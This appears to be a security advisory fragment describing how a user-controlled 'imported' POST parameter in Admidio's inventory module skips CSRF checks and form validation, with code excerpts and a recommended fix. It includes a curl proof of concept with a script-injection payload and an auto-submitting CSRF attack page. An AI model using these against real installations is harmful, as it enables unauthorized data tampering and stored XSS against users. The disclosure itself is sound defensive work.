+ "details": "## Summary\n\nThe inventory module's `item_save` endpoint accepts a user-controllable POST parameter `imported` that, when set to `true`, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the `FormPresenter` validation normally enforces.\n\n## Details\n\nIn `modules/inventory.php`, the `imported` parameter is read from POST input:\n\n**File:** `modules/inventory.php:50`\n```php\n$postImported = admFuncVariableIsValid($_POST, 'imported', 'bool', array('defaultValue' => false));\n```\n\nThis is then passed to `ItemService`:\n\n**File:** `modules/inventory.php:251-256`\n```php\n$itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported);\n$itemService->save(true);\n```\n\nInside `ItemService::save()`, the `postImported` flag completely skips CSRF and form validation:\n\n**File:** `src/Inventory/Service/ItemService.php:99-109`\n```php\npublic function save(bool $multiEdit = false): void\n{\n global $gCurrentSession, $gL10n, $gSettingsManager;\n\n // check form field input and sanitized it from malicious content\n if (!$this->postImported) {\n $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);\n } else {\n $formValues = $_POST; // Raw $_POST used with no CSRF check, no validation\n }\n // ... item data is saved using raw $formValues\n```\n\nWhen `imported=1` is sent, the code:\n1. Skips `$gCurrentSession->getFormObject()` — which validates the CSRF token\n2. Skips `$itemFieldsEditForm->validate()` — which sanitizes and validates field values\n3. Uses raw `$_POST` values directly to save to the database\n\nThis means:\n- CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data\n- Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped\n- Raw user input flows into `$this->itemRessource->setValue()` and then `saveItemData()` without the normal server-side sanitization\n\n## PoC\n\n```bash\n# As an authenticated user with inventory access, save arbitrary item data\n# without a valid CSRF token and without form validation:\n\ncurl -X POST -b 'ADMIDIO_SESSION=<session>' \\\n 'https://admidio.local/modules/inventory.php?mode=item_save' \\\n -d 'imported=1' \\\n -d 'adm_csrf_token=anything' \\\n -d 'INF-CATEGORY=1' \\\n -d 'INF-ITEMNAME=<script>alert(1)</script>'\n\n# The CSRF token is not checked because imported=true skips the form object lookup.\n# The field value is not sanitized because validate() is skipped.\n```\n\nA CSRF attack page would look like:\n```html\n<html>\n<body>\n<form action=\"https://admidio.local/modules/inventory.php?mode=item_save\" method=\"POST\">\n <input type=\"hidden\" name=\"imported\" value=\"1\" />\n <input type=\"hidden\" name=\"adm_csrf_token\" value=\"dummy\" />\n <input type=\"hidden\" name=\"INF-CATEGORY\" value=\"1\" />\n <input type=\"hidden\" name=\"INF-ITEMNAME\" value=\"Attacker-controlled data\" />\n</form>\n<script>document.forms[0].submit();</script>\n</body>\n</html>\n```\n\n## Impact\n\n- **CSRF bypass**: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page.\n- **Validation bypass**: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored.\n- **Stored XSS potential**: Because `validate()` is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).\n\n## Recommended Fix\n\nRemove the `imported` parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the `imported` flag:\n\n```php\npublic function save(bool $multiEdit = false): void\n{\n global $gCurrentSession, $gL10n, $gSettingsManager;\n\n // ALWAYS validate CSRF token\n $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n\n if (!$this->postImported) {\n $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);\n } else {\n // For imported items, still validate the CSRF token (done above)\n // and apply basic sanitization\n $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);\n }\n // ...\n}\n```\n\nAlternatively, the `imported` flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.",
0 commit comments